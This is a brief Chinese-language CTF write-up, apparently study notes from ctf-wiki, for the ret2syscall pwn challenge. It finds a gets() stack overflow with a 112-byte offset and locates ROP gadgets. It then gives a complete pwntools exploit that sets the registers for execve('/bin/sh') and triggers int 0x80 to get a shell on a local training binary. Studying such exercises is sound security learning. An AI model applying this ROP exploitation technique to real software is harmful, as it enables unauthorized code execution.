ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec,查看程序保护机制,开了NX
ida,main 函数,f5
gets 函数,存在栈溢出,先算一下偏移量为112
发现 no system and no shellcode,即无法直接利用程序中某段代码或自己填写代码来获取 shell,所以这题需要用系统调用,利用程序中的 gadgets 来获取 shell。
这题用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
所以需要使
eax:为 execve 系统调用号即0xb
ebx:指向 "/bin/sh" 的地址
ecx:为NULL即0
edx:为NULL即0
接下来需要利用 ROPgadget 工具来寻找 eax, ebx, ecx, edx 的地址
找 eax 地址为 0x080bb196
找 ebx, ecx, edx 地址为 0x0806eb90
找 "/bin/sh" 地址为 0x080be408
找 int 0x80 地址为 0x08049421
exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
sh = process('./ret2syscall')
eax = 0x080bb196
edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x080be408
payload = "a"*112
payload += p32(eax) + p32(0xb)
payload += p32(edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh)
payload += p32(int_0x80)
sh.sendline(payload)
sh.interactive()
exp运行